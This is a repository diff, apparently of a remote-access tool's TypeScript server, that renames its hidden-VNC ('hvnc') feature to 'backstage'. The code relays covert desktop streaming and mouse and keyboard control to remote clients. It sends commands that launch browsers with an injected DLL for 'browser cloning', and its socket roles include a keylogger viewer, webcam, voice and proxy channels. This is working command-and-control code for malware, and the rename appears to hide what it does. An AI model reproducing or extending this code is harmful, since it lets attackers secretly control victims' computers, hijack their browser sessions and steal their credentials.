hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] started streaming for client ${clientId} (virtual_mode=${virtualMode})`);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
logger.debug(`[backstage] started streaming for client ${clientId} (virtual_mode=${virtualMode})`);
|
||||
} else {
|
||||
logger.debug(`[hvnc] ignoring duplicate hvnc_start for client ${clientId}`);
|
||||
logger.debug(`[backstage] ignoring duplicate backstage_start for client ${clientId}`);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case "hvnc_stop": {
|
||||
const otherHvncViewers = sessionManager.getHvncSessionsForClient(clientId)
|
||||
case "backstage_stop": {
|
||||
const otherbackstageViewers = sessionManager.getbackstageSessionsForClient(clientId)
|
||||
.filter(s => s.id !== ws.data.sessionId);
|
||||
if (otherHvncViewers.length === 0) {
|
||||
sendHVNCCommand(target, "hvnc_stop", {});
|
||||
sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
|
||||
if (otherbackstageViewers.length === 0) {
|
||||
sendbackstageCommand(target, "backstage_stop", {});
|
||||
sendbackstageCommand(target, "webrtc_stop", { kind: "backstage" });
|
||||
state.isStreaming = false;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
logger.debug(`[backstage] stopped streaming for client ${clientId}`);
|
||||
} else {
|
||||
logger.debug(`[hvnc] ignoring hvnc_stop for client ${clientId} - ${otherHvncViewers.length} other viewer(s) still active`);
|
||||
logger.debug(`[backstage] ignoring backstage_stop for client ${clientId} - ${otherbackstageViewers.length} other viewer(s) still active`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_select_display": {
|
||||
case "backstage_select_display": {
|
||||
const newDisplay = Number(payload.display) || 0;
|
||||
if (state.display !== newDisplay) {
|
||||
logger.debug(`[hvnc] changing display from ${state.display} to ${newDisplay}`);
|
||||
sendHVNCCommand(target, "hvnc_select_display", { display: newDisplay });
|
||||
logger.debug(`[backstage] changing display from ${state.display} to ${newDisplay}`);
|
||||
sendbackstageCommand(target, "backstage_select_display", { display: newDisplay });
|
||||
state.display = newDisplay;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
} else {
|
||||
logger.debug(`[hvnc] ignoring duplicate display select ${newDisplay}`);
|
||||
logger.debug(`[backstage] ignoring duplicate display select ${newDisplay}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_set_quality": {
|
||||
case "backstage_set_quality": {
|
||||
const newQuality = Number(payload.quality) || 90;
|
||||
const newCodec = String(payload.codec || "").toLowerCase();
|
||||
sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: newCodec });
|
||||
sendbackstageCommand(target, "backstage_set_quality", { quality: newQuality, codec: newCodec });
|
||||
if (state.quality !== newQuality || state.codec !== newCodec) {
|
||||
state.quality = newQuality;
|
||||
state.codec = newCodec;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] set quality=${newQuality} codec=${newCodec || "(default)"}`);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
logger.debug(`[backstage] set quality=${newQuality} codec=${newCodec || "(default)"}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_request_keyframe":
|
||||
case "backstage_request_keyframe":
|
||||
if (state.isStreaming) {
|
||||
sendHVNCCommand(target, "hvnc_request_keyframe", {
|
||||
sendbackstageCommand(target, "backstage_request_keyframe", {
|
||||
reason: String((payload as any).reason || "viewer_request"),
|
||||
});
|
||||
}
|
||||
break;
|
||||
case "hvnc_set_fps": {
|
||||
case "backstage_set_fps": {
|
||||
const newMaxFps = clampDesktopFps((payload as any).fps);
|
||||
sendHVNCCommand(target, "hvnc_set_fps", { fps: newMaxFps });
|
||||
sendbackstageCommand(target, "backstage_set_fps", { fps: newMaxFps });
|
||||
if (state.maxFps !== newMaxFps) {
|
||||
state.maxFps = newMaxFps;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] set target fps=${newMaxFps}`);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
logger.debug(`[backstage] set target fps=${newMaxFps}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_enable_mouse":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled });
|
||||
case "backstage_enable_mouse":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_mouse", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_keyboard":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_keyboard", { enabled: !!payload.enabled });
|
||||
case "backstage_enable_keyboard":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_keyboard", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_cursor":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
|
||||
case "backstage_enable_cursor":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_cursor", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_dxgi":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
|
||||
case "backstage_enable_dxgi":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_uia":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_uia", { enabled: !!payload.enabled });
|
||||
case "backstage_enable_uia":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_set_resolution": {
|
||||
case "backstage_set_resolution": {
|
||||
const maxHeight = Number(payload.maxHeight) || 0;
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_set_resolution", { maxHeight });
|
||||
break;
|
||||
}
|
||||
case "hvnc_mouse_move":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
case "backstage_mouse_move":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
break;
|
||||
case "hvnc_mouse_down":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_down", {
|
||||
case "backstage_mouse_down":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_down", {
|
||||
button: Number(payload.button) || 0,
|
||||
x: Number(payload.x) || 0,
|
||||
y: Number(payload.y) || 0,
|
||||
});
|
||||
break;
|
||||
case "hvnc_mouse_up":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_up", {
|
||||
case "backstage_mouse_up":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_up", {
|
||||
button: Number(payload.button) || 0,
|
||||
x: Number(payload.x) || 0,
|
||||
y: Number(payload.y) || 0,
|
||||
});
|
||||
break;
|
||||
case "hvnc_mouse_wheel":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
case "backstage_mouse_wheel":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
break;
|
||||
case "hvnc_key_down":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_down", { key: payload.key || "", code: payload.code || "" });
|
||||
case "backstage_key_down":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_down", { key: payload.key || "", code: payload.code || "" });
|
||||
break;
|
||||
case "hvnc_key_up":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
|
||||
case "backstage_key_up":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_up", { key: payload.key || "", code: payload.code || "" });
|
||||
break;
|
||||
case "hvnc_lookup":
|
||||
sendHVNCCommand(target, "hvnc_lookup", { exe: String(payload.exe || "") });
|
||||
case "backstage_lookup":
|
||||
sendbackstageCommand(target, "backstage_lookup", { exe: String(payload.exe || "") });
|
||||
break;
|
||||
case "hvnc_browser_check":
|
||||
sendHVNCCommand(target, "hvnc_browser_check", {});
|
||||
case "backstage_browser_check":
|
||||
sendbackstageCommand(target, "backstage_browser_check", {});
|
||||
break;
|
||||
case "hvnc_installed_apps":
|
||||
sendHVNCCommand(target, "hvnc_installed_apps", {});
|
||||
case "backstage_installed_apps":
|
||||
sendbackstageCommand(target, "backstage_installed_apps", {});
|
||||
break;
|
||||
case "hvnc_window_list":
|
||||
sendHVNCCommand(target, "hvnc_window_list", {});
|
||||
case "backstage_window_list":
|
||||
sendbackstageCommand(target, "backstage_window_list", {});
|
||||
break;
|
||||
case "hvnc_start_process":
|
||||
sendHVNCCommand(target, "hvnc_start_process", {
|
||||
case "backstage_start_process":
|
||||
sendbackstageCommand(target, "backstage_start_process", {
|
||||
path: String(payload.path || ""),
|
||||
kill_exe: String(payload.kill_exe || ""),
|
||||
opera_patch: Boolean(payload.opera_patch),
|
||||
display: state.display ?? 0,
|
||||
});
|
||||
break;
|
||||
case "hvnc_kill_all":
|
||||
sendHVNCCommand(target, "hvnc_kill_all", {});
|
||||
case "backstage_kill_all":
|
||||
sendbackstageCommand(target, "backstage_kill_all", {});
|
||||
break;
|
||||
case "hvnc_start_process_injected": {
|
||||
case "backstage_start_process_injected": {
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_process_injected");
|
||||
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDll = getCaptureDllBytes();
|
||||
@@ -1335,14 +1335,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDll) cmdPayload.capture_dll = captureDll;
|
||||
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
|
||||
sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload);
|
||||
break;
|
||||
}
|
||||
case "hvnc_start_chrome_injected": {
|
||||
case "backstage_start_chrome_injected": {
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_chrome_injected");
|
||||
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDllChrome = getCaptureDllBytes();
|
||||
@@ -1352,14 +1352,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
|
||||
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
|
||||
sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload);
|
||||
break;
|
||||
}
|
||||
case "hvnc_start_browser_injected": {
|
||||
case "backstage_start_browser_injected": {
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_browser_injected");
|
||||
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDllBrowser = getCaptureDllBytes();
|
||||
@@ -1373,20 +1373,20 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
|
||||
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
|
||||
sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload);
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync": {
|
||||
if (!state.isStreaming) break;
|
||||
const text = String(payload.text || "");
|
||||
if (text) {
|
||||
sendHVNCCommand(target, "clipboard_set", { text });
|
||||
sendbackstageCommand(target, "clipboard_set", { text });
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_start": {
|
||||
if (!state.isStreaming) break;
|
||||
sendDesktopCommand(target, "clipboard_sync_start", { source: "hvnc" });
|
||||
sendDesktopCommand(target, "clipboard_sync_start", { source: "backstage" });
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_stop": {
|
||||
@@ -1396,8 +1396,8 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
case "webrtc_p2p_offer": {
|
||||
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
|
||||
if (!sdp) break;
|
||||
const sessionId = createP2PSession(ws, clientId, "hvnc");
|
||||
sendHVNCCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "hvnc", hasVideo: true, hasAudio: false });
|
||||
const sessionId = createP2PSession(ws, clientId, "backstage");
|
||||
sendbackstageCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "backstage", hasVideo: true, hasAudio: false });
|
||||
break;
|
||||
}
|
||||
case "webrtc_p2p_ice": {
|
||||
@@ -1405,9 +1405,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
if (!sessionId) break;
|
||||
const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
|
||||
if (!candidate) break;
|
||||
sendHVNCCommand(target, "webrtc_p2p_ice", {
|
||||
sendbackstageCommand(target, "webrtc_p2p_ice", {
|
||||
sessionId,
|
||||
kind: "hvnc",
|
||||
kind: "backstage",
|
||||
candidate,
|
||||
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
|
||||
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
|
||||
@@ -1417,7 +1417,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
case "webrtc_p2p_stop": {
|
||||
const cleared = clearP2PSessionForViewer(ws);
|
||||
if (cleared) {
|
||||
sendHVNCCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
|
||||
sendbackstageCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -1426,18 +1426,18 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
}
|
||||
}
|
||||
|
||||
export function sendHVNCCommand(target: ClientInfo | undefined, commandType: string, payload: any) {
|
||||
export function sendbackstageCommand(target: ClientInfo | undefined, commandType: string, payload: any) {
|
||||
if (!target) {
|
||||
logger.warn(`[hvnc] send command skipped, target missing command=${commandType}`);
|
||||
logger.warn(`[backstage] send command skipped, target missing command=${commandType}`);
|
||||
return false;
|
||||
}
|
||||
try {
|
||||
logger.debug(`[hvnc] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
|
||||
logger.debug(`[backstage] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
|
||||
metrics.recordCommand(commandType);
|
||||
return true;
|
||||
} catch (err) {
|
||||
logger.error("[hvnc] send command failed", err);
|
||||
logger.error("[backstage] send command failed", err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -1448,8 +1448,8 @@ export function handleDesktopEncoderCapabilities(clientId: string, payload: any)
|
||||
}
|
||||
}
|
||||
|
||||
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
|
||||
(globalThis as any).__backstageBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
const state = backstageStreamingState.get(clientId) || defaultbackstageStreamingState();
|
||||
if (!state.isStreaming) {
|
||||
state.isStreaming = true;
|
||||
}
|
||||
@@ -1457,13 +1457,13 @@ export function handleDesktopEncoderCapabilities(clientId: string, payload: any)
|
||||
if (frameFps > 0) {
|
||||
state.lastFps = frameFps;
|
||||
}
|
||||
hvncStreamingState.set(clientId, state);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
const buf = buildViewerFrameBuffer(bytes, header);
|
||||
const result = broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header);
|
||||
const result = broadcastFrameToViewers(sessionManager.getbackstageSessionsForClient(clientId), buf, header);
|
||||
if (result.dropped) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (target) {
|
||||
sendHVNCCommand(target, "hvnc_request_keyframe", {
|
||||
sendbackstageCommand(target, "backstage_request_keyframe", {
|
||||
reason: "viewer_backpressure",
|
||||
format: String(header?.format || ""),
|
||||
});
|
||||
@@ -13,7 +13,7 @@ import {
|
||||
} from "./webrtc-p2p-sessions";
|
||||
import {
|
||||
cleanupViewerP2P,
|
||||
} from "./ws-console-rd-hvnc";
|
||||
} from "./ws-console-rd-backstage";
|
||||
|
||||
function sendDesktopAudioCommand(
|
||||
clientId: string,
|
||||
|
||||
@@ -11,12 +11,12 @@ import {
|
||||
getRdSessionsByClient,
|
||||
getRdSessionCount,
|
||||
hasRdSessionsForClient,
|
||||
addHvncSession,
|
||||
getHvncSession,
|
||||
deleteHvncSession,
|
||||
getHvncSessionsByClient,
|
||||
hasHvncSessionsForClient,
|
||||
getHvncSessionCount,
|
||||
addbackstageSession,
|
||||
getbackstageSession,
|
||||
deletebackstageSession,
|
||||
getbackstageSessionsByClient,
|
||||
hasbackstageSessionsForClient,
|
||||
getbackstageSessionCount,
|
||||
addFileBrowserSession,
|
||||
getFileBrowserSession,
|
||||
deleteFileBrowserSession,
|
||||
@@ -135,18 +135,18 @@ describe("sessionManager - remote desktop sessions", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("sessionManager - HVNC sessions", () => {
|
||||
test("add, get, and delete HVNC session", () => {
|
||||
describe("sessionManager - backstage sessions", () => {
|
||||
test("add, get, and delete backstage session", () => {
|
||||
const ws = mockWs();
|
||||
addHvncSession({ id: "hvnc-1", clientId: "c-hvnc", viewer: ws, createdAt: Date.now() });
|
||||
addbackstageSession({ id: "backstage-1", clientId: "c-backstage", viewer: ws, createdAt: Date.now() });
|
||||
|
||||
expect(getHvncSession("hvnc-1")).toBeDefined();
|
||||
expect(hasHvncSessionsForClient("c-hvnc")).toBe(true);
|
||||
expect(getHvncSessionsByClient("c-hvnc").length).toBe(1);
|
||||
expect(getHvncSessionCount()).toBeGreaterThanOrEqual(1);
|
||||
expect(getbackstageSession("backstage-1")).toBeDefined();
|
||||
expect(hasbackstageSessionsForClient("c-backstage")).toBe(true);
|
||||
expect(getbackstageSessionsByClient("c-backstage").length).toBe(1);
|
||||
expect(getbackstageSessionCount()).toBeGreaterThanOrEqual(1);
|
||||
|
||||
expect(deleteHvncSession("hvnc-1")).toBe(true);
|
||||
expect(getHvncSession("hvnc-1")).toBeUndefined();
|
||||
expect(deletebackstageSession("backstage-1")).toBe(true);
|
||||
expect(getbackstageSession("backstage-1")).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -23,11 +23,11 @@ export type DashboardViewer = {
|
||||
const consoleSessions = new Map<string, ConsoleSession>();
|
||||
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const webcamSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
|
||||
const backstageSessions = new Map<string, RemoteDesktopViewer>(); // backstage uses same structure as RD
|
||||
const consoleSessionsByClient = new Map<string, Set<string>>();
|
||||
const rdSessionsByClient = new Map<string, Set<string>>();
|
||||
const webcamSessionsByClient = new Map<string, Set<string>>();
|
||||
const hvncSessionsByClient = new Map<string, Set<string>>();
|
||||
const backstageSessionsByClient = new Map<string, Set<string>>();
|
||||
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
|
||||
const processSessions = new Map<string, ProcessViewer>();
|
||||
const fileBrowserSessionsByClient = new Map<string, Set<string>>();
|
||||
@@ -196,53 +196,53 @@ export function getAllRdSessions(): Map<string, RemoteDesktopViewer> {
|
||||
return rdSessions;
|
||||
}
|
||||
|
||||
// ==================== HVNC SESSION MANAGEMENT ====================
|
||||
// ==================== backstage SESSION MANAGEMENT ====================
|
||||
|
||||
export function addHvncSession(session: RemoteDesktopViewer): void {
|
||||
hvncSessions.set(session.id, session);
|
||||
addSessionToClientIndex(hvncSessionsByClient, session.clientId, session.id);
|
||||
export function addbackstageSession(session: RemoteDesktopViewer): void {
|
||||
backstageSessions.set(session.id, session);
|
||||
addSessionToClientIndex(backstageSessionsByClient, session.clientId, session.id);
|
||||
}
|
||||
|
||||
export function getHvncSession(
|
||||
export function getbackstageSession(
|
||||
sessionId: string,
|
||||
): RemoteDesktopViewer | undefined {
|
||||
return hvncSessions.get(sessionId);
|
||||
return backstageSessions.get(sessionId);
|
||||
}
|
||||
|
||||
export function deleteHvncSession(sessionId: string): boolean {
|
||||
const existing = hvncSessions.get(sessionId);
|
||||
export function deletebackstageSession(sessionId: string): boolean {
|
||||
const existing = backstageSessions.get(sessionId);
|
||||
if (!existing) return false;
|
||||
hvncSessions.delete(sessionId);
|
||||
removeSessionFromClientIndex(hvncSessionsByClient, existing.clientId, sessionId);
|
||||
backstageSessions.delete(sessionId);
|
||||
removeSessionFromClientIndex(backstageSessionsByClient, existing.clientId, sessionId);
|
||||
return true;
|
||||
}
|
||||
|
||||
export function getHvncSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
||||
return getHvncSessionsForClient(clientId);
|
||||
export function getbackstageSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
||||
return getbackstageSessionsForClient(clientId);
|
||||
}
|
||||
|
||||
export function getHvncSessionsForClient(clientId: string): RemoteDesktopViewer[] {
|
||||
const ids = hvncSessionsByClient.get(clientId);
|
||||
export function getbackstageSessionsForClient(clientId: string): RemoteDesktopViewer[] {
|
||||
const ids = backstageSessionsByClient.get(clientId);
|
||||
if (!ids || ids.size === 0) return [];
|
||||
const sessions: RemoteDesktopViewer[] = [];
|
||||
for (const id of ids) {
|
||||
const session = hvncSessions.get(id);
|
||||
const session = backstageSessions.get(id);
|
||||
if (session) sessions.push(session);
|
||||
}
|
||||
return sessions;
|
||||
}
|
||||
|
||||
export function hasHvncSessionsForClient(clientId: string): boolean {
|
||||
const ids = hvncSessionsByClient.get(clientId);
|
||||
export function hasbackstageSessionsForClient(clientId: string): boolean {
|
||||
const ids = backstageSessionsByClient.get(clientId);
|
||||
return Boolean(ids && ids.size > 0);
|
||||
}
|
||||
|
||||
export function getAllHvncSessions(): Map<string, RemoteDesktopViewer> {
|
||||
return hvncSessions;
|
||||
export function getAllbackstageSessions(): Map<string, RemoteDesktopViewer> {
|
||||
return backstageSessions;
|
||||
}
|
||||
|
||||
export function getHvncSessionCount(): number {
|
||||
return hvncSessions.size;
|
||||
export function getbackstageSessionCount(): number {
|
||||
return backstageSessions.size;
|
||||
}
|
||||
|
||||
// ==================== FILE BROWSER SESSION MANAGEMENT ====================
|
||||
|
||||
@@ -5,7 +5,7 @@ export type SocketRole =
|
||||
| ClientRole
|
||||
| "console_viewer"
|
||||
| "rd_viewer"
|
||||
| "hvnc_viewer"
|
||||
| "backstage_viewer"
|
||||
| "webcam_viewer"
|
||||
| "file_browser_viewer"
|
||||
| "process_viewer"
|
||||
|
||||
@@ -38,7 +38,7 @@ describe("feature permissions", () => {
|
||||
expect(ALL_FEATURES).toEqual([
|
||||
"console",
|
||||
"remote_desktop",
|
||||
"hvnc",
|
||||
"backstage",
|
||||
"webcam",
|
||||
"file_browser",
|
||||
"processes",
|
||||
@@ -115,11 +115,11 @@ describe("feature permissions", () => {
|
||||
try {
|
||||
const operator = await createTempUser("operator");
|
||||
|
||||
setUserFeaturePermission(operator.id, "hvnc", false);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(false);
|
||||
setUserFeaturePermission(operator.id, "backstage", false);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "backstage")).toBe(false);
|
||||
|
||||
setUserFeaturePermission(operator.id, "hvnc", true);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(true);
|
||||
setUserFeaturePermission(operator.id, "backstage", true);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "backstage")).toBe(true);
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
|
||||
@@ -507,7 +507,7 @@ export function setUserPluginAccessRulesBulk(
|
||||
export type FeatureName =
|
||||
| "console"
|
||||
| "remote_desktop"
|
||||
| "hvnc"
|
||||
| "backstage"
|
||||
| "webcam"
|
||||
| "file_browser"
|
||||
| "processes"
|
||||
@@ -521,7 +521,7 @@ export type FeatureName =
|
||||
export const ALL_FEATURES: FeatureName[] = [
|
||||
"console",
|
||||
"remote_desktop",
|
||||
"hvnc",
|
||||
"backstage",
|
||||
"webcam",
|
||||
"file_browser",
|
||||
"processes",
|
||||
|
||||
@@ -289,9 +289,9 @@ export function handleFrame(info: ClientInfo, payload: any): boolean {
|
||||
if (globalAny.__webcamBroadcast) {
|
||||
handledByViewerRelay = globalAny.__webcamBroadcast(info.id, bytes, header);
|
||||
}
|
||||
} else if (header?.hvnc) {
|
||||
if (globalAny.__hvncBroadcast) {
|
||||
handledByViewerRelay = globalAny.__hvncBroadcast(info.id, bytes, header);
|
||||
} else if (header?.backstage) {
|
||||
if (globalAny.__backstageBroadcast) {
|
||||
handledByViewerRelay = globalAny.__backstageBroadcast(info.id, bytes, header);
|
||||
}
|
||||
} else if (globalAny.__rdBroadcast) {
|
||||
handledByViewerRelay = globalAny.__rdBroadcast(info.id, bytes, header);
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer";
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "backstage_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer";
|
||||
|
||||
const textEncoder = new TextEncoder();
|
||||
|
||||
@@ -37,13 +37,13 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"voice_uplink",
|
||||
"desktop_audio_uplink",
|
||||
"webcam_devices",
|
||||
"hvnc_clone_progress",
|
||||
"hvnc_lookup_result",
|
||||
"hvnc_browser_check_result",
|
||||
"hvnc_installed_apps_result",
|
||||
"hvnc_dxgi_status",
|
||||
"hvnc_browser_launch_status",
|
||||
"hvnc_window_list_result",
|
||||
"backstage_clone_progress",
|
||||
"backstage_lookup_result",
|
||||
"backstage_browser_check_result",
|
||||
"backstage_installed_apps_result",
|
||||
"backstage_dxgi_status",
|
||||
"backstage_browser_launch_status",
|
||||
"backstage_window_list_result",
|
||||
"clipboard_content",
|
||||
"proxy_data",
|
||||
"proxy_close",
|
||||
|
||||
Reference in New Issue
Block a user